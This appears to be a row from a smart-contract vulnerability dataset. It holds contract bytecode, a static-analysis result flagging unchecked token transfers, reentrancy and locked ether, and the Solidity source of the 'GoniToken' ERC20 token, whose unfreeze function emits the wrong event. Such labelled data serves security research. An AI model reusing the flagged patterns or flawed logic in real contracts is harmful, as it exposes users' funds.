076000600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546108e084600561177e565b611794565b60076000600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061099d600a5461099884600561177e565b611794565b600a81905550505050565b60006109fb600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109f68461160d565b611794565b9050919050565b610a0a6117aa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a97576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8e90611d4d565b60405180910390fd5b6000600a5414610adc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad390611db9565b60405180910390fd5b6001600560006101000a81548160ff02191690831515021790555064141dd76000600a81905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401610b6293929190611dd9565b602060405180830381600087803b158015610b7c57600080fd5b505af1158015610b90573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bb49190611e48565b5050565b610bc06117aa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4490611d4d565b60405180910390fd5b80600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000610d9082600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610d3b9190611b6d565b60206040518083038186803b158015610d5357600080fd5b505afa158015610d67573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d8b9190611c57565b611511565b9050919050565b610d9f6117aa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2390611d4d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600560009054906101000a900460ff16610f39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3090611ce1565b60405180910390fd5b6000610ff882610ff3600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610f9d9190611b6d565b60206040518083038186803b158015610fb557600080fd5b505afa158015610fc9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fed9190611c57565b856117b2565b611511565b905061100c81611007836117c8565b6117b2565b90506000611019836117c8565b9050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd333084876110679190611ea4565b6040518463ffffffff1660e01b815260040161108593929190611dd9565b602060405180830381600087803b15801561109f57600080fd5b505af11580156110b3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d79190611e48565b50600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd33600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518463ffffffff1660e01b815260040161115993929190611dd9565b602060405180830381600087803b15801561117357600080fd5b505af1158015611187573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111ab9190611e48565b506111f5600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611794565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611241846104cf565b50505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600560009054906101000a900460ff166112bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112b690611ce1565b60405180910390fd5b60006112ca336109a8565b905060006112d78261154d565b905060006112e4826117c8565b90506000600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555042600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061137b600a5484611794565b600a81905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401611400929190611ed8565b602060405180830381600087803b15801561141a57600080fd5b505af115801561142e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114529190611e48565b50600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb3361149c85856117b2565b6040518363ffffffff1660e01b81526004016114b9929190611ed8565b602060405180830381600087803b1580156114d357600080fd5b505af11580156114e7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061150b9190611e48565b50505050565b60006115208383600a546117e7565b905092915050565b600080611534836109a8565b905060006115418261154d565b90508092505050919050565b600061160682600a54600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016115b19190611b6d565b60206040518083038186803b1580156115c957600080fd5b505afa1580156115dd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116019190611c57565b6117e7565b9050919050565b60008061166460015461165f42600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117b2565b61183a565b90506116af81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611853565b915050919050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6116e56117aa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611772576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176990611d4d565b60405180910390fd5b61177b81611869565b50565b6000818361178c9190611f30565b905092915050565b600081836117a29190611f61565b905092915050565b600033905090565b600081836117c09190611ea4565b905092915050565b60006117e06117d983600454611853565b606461177e565b9050919050565b60006118316117f860025484611853565b61182c6003546118276118216118106002548a611853565b61181c6003548c611853565b611794565b8961177e565b611794565b61177e565b90509392505050565b6000818310611849578161184b565b825b905092915050565b600081836118619190611fb7565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156118d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118d090612083565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000819050919050565b6119a981611996565b82525050565b60006020820190506119c460008301846119a0565b92915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006119fa826119cf565b9050919050565b611a0a816119ef565b8114611a1557600080fd5b50565b600081359050611a2781611a01565b92915050565b600060208284031215611a4357611a426119ca565b5b6000611a5184828501611a18565b91505092915050565b611a6381611996565b8114611a6e57600080fd5b50565b600081359050611a8081611a5a565b92915050565b600060208284031215611a9c57611a9b6119ca565b5b6000611aaa84828501611a71565b91505092915050565b6000611abe826119ef565b9050919050565b611ace81611ab3565b8114611ad957600080fd5b50565b600081359050611aeb81611ac5565b92915050565b600060208284031215611b0757611b066119ca565b5b6000611b1584828501611adc565b91505092915050565b60008060408385031215611b3557611b346119ca565b5b6000611b4385828601611a18565b9250506020611b5485828601611a71565b9150509250929050565b611b67816119ef565b82525050565b6000602082019050611b826000830184611b5e565b92915050565b60008060408385031215611b9f57611b9e6119ca565b5b6000611bad85828601611a71565b9250506020611bbe85828601611a71565b9150509250929050565b6000819050919050565b6000611bed611be8611be3846119cf565b611bc8565b6119cf565b9050919050565b6000611bff82611bd2565b9050919050565b6000611c1182611bf4565b9050919050565b611c2181611c06565b82525050565b6000602082019050611c3c6000830184611c18565b92915050565b600081519050611c5181611a5a565b92915050565b600060208284031215611c6d57611c6c6119ca565b5b6000611c7b84828501611c42565b91505092915050565b600082825260208201905092915050565b7f6e6f7420696e697469616c697a65640000000000000000000000000000000000600082015250565b6000611ccb600f83611c84565b9150611cd682611c95565b602082019050919050565b60006020820190508181036000830152611cfa81611cbe565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611d37602083611c84565b9150611d4282611d01565b602082019050919050565b60006020820190508181036000830152611d6681611d2a565b9050919050565b7f7069657300000000000000000000000000000000000000000000000000000000600082015250565b6000611da3600483611c84565b9150611dae82611d6d565b602082019050919050565b60006020820190508181036000830152611dd281611d96565b9050919050565b6000606082019050611dee6000830186611b5e565b611dfb6020830185611b5e565b611e0860408301846119a0565b949350505050565b60008115159050919050565b611e2581611e10565b8114611e3057600080fd5b50565b600081519050611e4281611e1c565b92915050565b600060208284031215611e5e57611e5d6119ca565b5b6000611e6c84828501611e33565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611eaf82611996565b9150611eba83611996565b925082821015611ecd57611ecc611e75565b5b828203905092915050565b6000604082019050611eed6000830185611b5e565b611efa60208301846119a0565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611f3b82611996565b9150611f4683611996565b925082611f5657611f55611f01565b5b828204905092915050565b6000611f6c82611996565b9150611f7783611996565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611fac57611fab611e75565b5b828201905092915050565b6000611fc282611996565b9150611fcd83611996565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561200657612005611e75565b5b828202905092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061206d602683611c84565b915061207882612011565b604082019050919050565b6000602082019050818103600083015261209c81612060565b905091905056fea264697066735822122051c446770bf86c6985abf29c4e3a86ea40b1436d2d8d9c9815c4ec2222746e5664736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 8,674 |
0x91ac3f01a38c0d8fd59eece5fd7815c643d1bda7
|
pragma solidity 0.4.25;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => uint256) balances;
uint256 _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0) && _value != 0 &&_value <= balances[msg.sender],"Please check the amount of transmission error and the amount you send.");
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20Token is BasicToken, ERC20 {
using SafeMath for uint256;
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping (address => mapping (address => uint256)) allowed;
mapping (address => uint256) public freezeOf;
function approve(address _spender, uint256 _value) public returns (bool) {
require(_value == 0 || allowed[msg.sender][_spender] == 0,"Please check the amount you want to approve.");
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint256 _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint256 _subtractedValue) public returns (bool success) {
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
mapping (address => bool) public admin;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner,"I am not the owner of the wallet.");
_;
}
modifier onlyOwnerOrAdmin() {
require(msg.sender == owner || admin[msg.sender] == true,"It is not the owner or manager wallet address.");
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0) && newOwner != owner && admin[newOwner] == true,"It must be the existing manager wallet, not the existing owner's wallet.");
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
function setAdmin(address newAdmin) onlyOwner public {
require(admin[newAdmin] != true && owner != newAdmin,"It is not an existing administrator wallet, and it must not be the owner wallet of the token.");
admin[newAdmin] = true;
}
function unsetAdmin(address Admin) onlyOwner public {
require(admin[Admin] != false && owner != Admin,"This is an existing admin wallet, it must not be a token holder wallet.");
admin[Admin] = false;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused,"There is a pause.");
_;
}
modifier whenPaused() {
require(paused,"It is not paused.");
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {return 0; }
uint256 c = a * b;
require(c / a == b,"An error occurred in the calculation process");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b !=0,"The number you want to divide must be non-zero.");
uint256 c = a / b;
require(c * b == a,"An error occurred in the calculation process");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a,"There are more to deduct.");
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a,"The number did not increase.");
return c;
}
}
contract BurnableToken is BasicToken, Ownable {
event Burn(address indexed burner, uint256 amount);
function burn(uint256 _value) onlyOwner public {
balances[msg.sender] = balances[msg.sender].sub(_value);
_totalSupply = _totalSupply.sub(_value);
emit Burn(msg.sender, _value);
emit Transfer(msg.sender, address(0), _value);
}
}
contract FreezeToken is BasicToken, Ownable {
event Freezen(address indexed freezer, uint256 amount);
event UnFreezen(address indexed freezer, uint256 amount);
mapping (address => uint256) public freezeOf;
function freeze(uint256 _value) onlyOwner public {
balances[msg.sender] = balances[msg.sender].sub(_value);
freezeOf[msg.sender] = freezeOf[msg.sender].add(_value);
_totalSupply = _totalSupply.sub(_value);
emit Freezen(msg.sender, _value);
}
function unfreeze(uint256 _value) onlyOwner public {
require(freezeOf[msg.sender] >= _value,"The number to be processed is more than the total amount and the number currently frozen.");
balances[msg.sender] = balances[msg.sender].add(_value);
freezeOf[msg.sender] = freezeOf[msg.sender].sub(_value);
_totalSupply = _totalSupply.add(_value);
emit Freezen(msg.sender, _value);
}
}
contract GoniToken is BurnableToken,FreezeToken, DetailedERC20, ERC20Token,Pausable{
using SafeMath for uint256;
event Approval(address indexed owner, address indexed spender, uint256 value);
event LockerChanged(address indexed owner, uint256 amount);
mapping(address => uint) locker;
string private constant _symbol = "GONI";
string private constant _name = "Goni";
uint8 private constant _decimals = 18;
uint256 private constant TOTAL_SUPPLY = 30*(10**8)*(10**uint256(_decimals));
constructor() DetailedERC20(_name, _symbol, _decimals) public {
_totalSupply = TOTAL_SUPPLY;
balances[owner] = _totalSupply;
emit Transfer(address(0x0), msg.sender, _totalSupply);
}
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool){
require(balances[msg.sender].sub(_value) >= locker[msg.sender],"Attempting to send more than the locked number");
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool){
require(_to > address(0) && _from > address(0),"Please check the address" );
require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value,"Please check the amount of transmission error and the amount you send.");
require(balances[_from].sub(_value) >= locker[_from],"Attempting to send more than the locked number" );
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function lockOf(address _address) public view returns (uint256 _locker) {
return locker[_address];
}
function setLock(address _address, uint256 _value) public onlyOwnerOrAdmin {
require(_value <= _totalSupply &&_address != address(0),"It is the first wallet or attempted to lock an amount greater than the total holding.");
locker[_address] = _value;
emit LockerChanged(_address, _value);
}
function setLockList(address[] _recipients, uint256[] _balances) external onlyOwnerOrAdmin{
require(_recipients.length == _balances.length,"The number of wallet arrangements and the number of amounts are different.");
for (uint i=0; i < _recipients.length; i++) {
require(_recipients[i] != address(0),'Please check the address');
locker[_recipients[i]] = _balances[i];
emit LockerChanged(_recipients[i], _balances[i]);
}
}
function transferList(address[] _recipients, uint256[] _balances) external onlyOwnerOrAdmin{
require(_recipients.length == _balances.length,"The number of wallet arrangements and the number of amounts are different.");
for (uint i=0; i < _recipients.length; i++) {
balances[msg.sender] = balances[msg.sender].sub(_balances[i]);
balances[_recipients[i]] = balances[_recipients[i]].add(_balances[i]);
emit Transfer(msg.sender,_recipients[i],_balances[i]);
}
}
function() public payable {
revert();
}
}
|
0x60806040526004361061015e5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610163578063095ea7b3146101ed57806318160ddd146102255780631d5397641461024c57806323b872dd1461027a578063313ce567146102a45780633f4ba83a146102cf57806342966c68146102e45780634d253b50146102fc5780635a46d3b51461031d5780635c975abb1461033e57806363a846f81461035357806366188463146103745780636623fc4614610398578063704b6c02146103b057806370a08231146103d15780638456cb59146103f2578063859bc2f3146104075780638da5cb5b1461043357806395d89b4114610464578063a9059cbb14610479578063b0fc29e61461049d578063cd4217c1146104c1578063d73dd623146104e2578063d7a78db814610506578063dd62ed3e1461051e578063f2fde38b14610545575b600080fd5b34801561016f57600080fd5b50610178610566565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101b257818101518382015260200161019a565b50505050905090810190601f1680156101df5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101f957600080fd5b50610211600160a060020a03600435166024356105f4565b604080519115158252519081900360200190f35b34801561023157600080fd5b5061023a610707565b60408051918252519081900360200190f35b34801561025857600080fd5b50610278602460048035828101929082013591813591820191013561070d565b005b34801561028657600080fd5b50610211600160a060020a03600435811690602435166044356109ae565b3480156102b057600080fd5b506102b9610d1a565b6040805160ff9092168252519081900360200190f35b3480156102db57600080fd5b50610278610d23565b3480156102f057600080fd5b50610278600435610e11565b34801561030857600080fd5b50610278600160a060020a0360043516610f13565b34801561032957600080fd5b5061023a600160a060020a036004351661106b565b34801561034a57600080fd5b50610211611086565b34801561035f57600080fd5b50610211600160a060020a036004351661108f565b34801561038057600080fd5b50610211600160a060020a03600435166024356110a4565b3480156103a457600080fd5b50610278600435611193565b3480156103bc57600080fd5b50610278600160a060020a036004351661134c565b3480156103dd57600080fd5b5061023a600160a060020a03600435166114ab565b3480156103fe57600080fd5b506102786114c6565b34801561041357600080fd5b5061027860246004803582810192908201359181359182019101356115b6565b34801561043f57600080fd5b5061044861185b565b60408051600160a060020a039092168252519081900360200190f35b34801561047057600080fd5b5061017861186a565b34801561048557600080fd5b50610211600160a060020a03600435166024356118c5565b3480156104a957600080fd5b50610278600160a060020a03600435166024356119db565b3480156104cd57600080fd5b5061023a600160a060020a0360043516611b94565b3480156104ee57600080fd5b50610211600160a060020a0360043516602435611ba6565b34801561051257600080fd5b50610278600435611c3f565b34801561052a57600080fd5b5061023a600160a060020a0360043581169060243516611d09565b34801561055157600080fd5b50610278600160a060020a0360043516611d34565b6005805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105ec5780601f106105c1576101008083540402835291602001916105ec565b820191906000526020600020905b8154815290600101906020018083116105cf57829003601f168201915b505050505081565b60008115806106245750336000908152600860209081526040808320600160a060020a0387168452909152902054155b15156106a0576040805160e560020a62461bcd02815260206004820152602c60248201527f506c6561736520636865636b2074686520616d6f756e7420796f752077616e7460448201527f20746f20617070726f76652e0000000000000000000000000000000000000000606482015290519081900360840190fd5b336000818152600860209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60015490565b600254600090600160a060020a031633148061073d57503360009081526003602052604090205460ff1615156001145b15156107b9576040805160e560020a62461bcd02815260206004820152602e60248201527f4974206973206e6f7420746865206f776e6572206f72206d616e61676572207760448201527f616c6c657420616464726573732e000000000000000000000000000000000000606482015290519081900360840190fd5b83821461085c576040805160e560020a62461bcd02815260206004820152604a60248201527f546865206e756d626572206f662077616c6c657420617272616e67656d656e7460448201527f7320616e6420746865206e756d626572206f6620616d6f756e7473206172652060648201527f646966666572656e742e00000000000000000000000000000000000000000000608482015290519081900360a40190fd5b5060005b838110156109a757600085858381811061087657fe5b90506020020135600160a060020a0316600160a060020a0316141515156108e7576040805160e560020a62461bcd02815260206004820152601860248201527f506c6561736520636865636b2074686520616464726573730000000000000000604482015290519081900360640190fd5b8282828181106108f357fe5b90506020020135600b6000878785818110151561090c57fe5b60209081029290920135600160a060020a03168352508101919091526040016000205584848281811061093b57fe5b90506020020135600160a060020a0316600160a060020a03167f173c6954f6574ae8ea8afd3eed2fc6ddd6f1aac55aab5e2c3a10edc59ba2dfd3848484818110151561098357fe5b905060200201356040518082815260200191505060405180910390a2600101610860565b5050505050565b600a5460009060ff1615610a0c576040805160e560020a62461bcd02815260206004820152601160248201527f546865726520697320612070617573652e000000000000000000000000000000604482015290519081900360640190fd5b6000600160a060020a038416118015610a2e57506000600160a060020a038516115b1515610a84576040805160e560020a62461bcd02815260206004820152601860248201527f506c6561736520636865636b2074686520616464726573730000000000000000604482015290519081900360640190fd5b600160a060020a0384166000908152602081905260409020548211801590610acf5750600160a060020a03841660009081526008602090815260408083203384529091529020548211155b1515610b71576040805160e560020a62461bcd02815260206004820152604660248201527f506c6561736520636865636b2074686520616d6f756e74206f66207472616e7360448201527f6d697373696f6e206572726f7220616e642074686520616d6f756e7420796f7560648201527f2073656e642e0000000000000000000000000000000000000000000000000000608482015290519081900360a40190fd5b600160a060020a0384166000908152600b60209081526040808320549183905290912054610ba5908463ffffffff611eeb16565b1015610c21576040805160e560020a62461bcd02815260206004820152602e60248201527f417474656d7074696e6720746f2073656e64206d6f7265207468616e2074686560448201527f206c6f636b6564206e756d626572000000000000000000000000000000000000606482015290519081900360840190fd5b600160a060020a038416600090815260208190526040902054610c4a908363ffffffff611eeb16565b600160a060020a038086166000908152602081905260408082209390935590851681522054610c7f908363ffffffff611f4b16565b600160a060020a03808516600090815260208181526040808320949094559187168152600882528281203382529091522054610cc1908363ffffffff611eeb16565b600160a060020a038086166000818152600860209081526040808320338452825291829020949094558051868152905192871693919260008051602061213b833981519152929181900390910190a35060019392505050565b60075460ff1681565b600254600160a060020a03163314610d80576040805160e560020a62461bcd028152602060048201526021602482015260008051602061211b833981519152604482015260f960020a601702606482015290519081900360840190fd5b600a5460ff161515610ddc576040805160e560020a62461bcd02815260206004820152601160248201527f4974206973206e6f74207061757365642e000000000000000000000000000000604482015290519081900360640190fd5b600a805460ff191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b600254600160a060020a03163314610e6e576040805160e560020a62461bcd028152602060048201526021602482015260008051602061211b833981519152604482015260f960020a601702606482015290519081900360840190fd5b33600090815260208190526040902054610e8e908263ffffffff611eeb16565b33600090815260208190526040902055600154610eb1908263ffffffff611eeb16565b60015560408051828152905133917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a2604080518281529051600091339160008051602061213b8339815191529181900360200190a350565b600254600160a060020a03163314610f70576040805160e560020a62461bcd028152602060048201526021602482015260008051602061211b833981519152604482015260f960020a601702606482015290519081900360840190fd5b600160a060020a03811660009081526003602052604090205460ff1615801590610fa85750600254600160a060020a03828116911614155b151561104a576040805160e560020a62461bcd02815260206004820152604760248201527f5468697320697320616e206578697374696e672061646d696e2077616c6c657460448201527f2c206974206d757374206e6f74206265206120746f6b656e20686f6c6465722060648201527f77616c6c65742e00000000000000000000000000000000000000000000000000608482015290519081900360a40190fd5b600160a060020a03166000908152600360205260409020805460ff19169055565b600160a060020a03166000908152600b602052604090205490565b600a5460ff1681565b60036020526000908152604090205460ff1681565b336000908152600860209081526040808320600160a060020a03861684529091528120548083106110f857336000908152600860209081526040808320600160a060020a038816845290915281205561112d565b611108818463ffffffff611eeb16565b336000908152600860209081526040808320600160a060020a03891684529091529020555b336000818152600860209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600254600160a060020a031633146111f0576040805160e560020a62461bcd028152602060048201526021602482015260008051602061211b833981519152604482015260f960020a601702606482015290519081900360840190fd5b336000908152600460205260409020548111156112a3576040805160e560020a62461bcd02815260206004820152605960248201527f546865206e756d62657220746f2062652070726f636573736564206973206d6f60448201527f7265207468616e2074686520746f74616c20616d6f756e7420616e642074686560648201527f206e756d6265722063757272656e746c792066726f7a656e2e00000000000000608482015290519081900360a40190fd5b336000908152602081905260409020546112c3908263ffffffff611f4b16565b33600090815260208181526040808320939093556004905220546112ed908263ffffffff611eeb16565b33600090815260046020526040902055600154611310908263ffffffff611f4b16565b60015560408051828152905133917fcac76f4972d9ff5ad35f15943c99ef30a49b3a0203cc98c4ef401ab7b8d1a509919081900360200190a250565b600254600160a060020a031633146113a9576040805160e560020a62461bcd028152602060048201526021602482015260008051602061211b833981519152604482015260f960020a601702606482015290519081900360840190fd5b600160a060020a03811660009081526003602052604090205460ff1615156001148015906113e55750600254600160a060020a03828116911614155b1515611487576040805160e560020a62461bcd02815260206004820152605d60248201527f4974206973206e6f7420616e206578697374696e672061646d696e697374726160448201527f746f722077616c6c65742c20616e64206974206d757374206e6f74206265207460648201527f6865206f776e65722077616c6c6574206f662074686520746f6b656e2e000000608482015290519081900360a40190fd5b600160a060020a03166000908152600360205260409020805460ff19166001179055565b600160a060020a031660009081526020819052604090205490565b600254600160a060020a03163314611523576040805160e560020a62461bcd028152602060048201526021602482015260008051602061211b833981519152604482015260f960020a601702606482015290519081900360840190fd5b600a5460ff161561157e576040805160e560020a62461bcd02815260206004820152601160248201527f546865726520697320612070617573652e000000000000000000000000000000604482015290519081900360640190fd5b600a805460ff191660011790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b600254600090600160a060020a03163314806115e657503360009081526003602052604090205460ff1615156001145b1515611662576040805160e560020a62461bcd02815260206004820152602e60248201527f4974206973206e6f7420746865206f776e6572206f72206d616e61676572207760448201527f616c6c657420616464726573732e000000000000000000000000000000000000606482015290519081900360840190fd5b838214611705576040805160e560020a62461bcd02815260206004820152604a60248201527f546865206e756d626572206f662077616c6c657420617272616e67656d656e7460448201527f7320616e6420746865206e756d626572206f6620616d6f756e7473206172652060648201527f646966666572656e742e00000000000000000000000000000000000000000000608482015290519081900360a40190fd5b5060005b838110156109a75761174383838381811061172057fe5b33600090815260208181526040909120549391020135905063ffffffff611eeb16565b336000908152602081905260409020556117b983838381811061176257fe5b90506020020135600080888886818110151561177a57fe5b90506020020135600160a060020a0316600160a060020a0316600160a060020a0316815260200190815260200160002054611f4b90919063ffffffff16565b6000808787858181106117c857fe5b60209081029290920135600160a060020a0316835250810191909152604001600020558484828181106117f757fe5b90506020020135600160a060020a0316600160a060020a031633600160a060020a0316600080516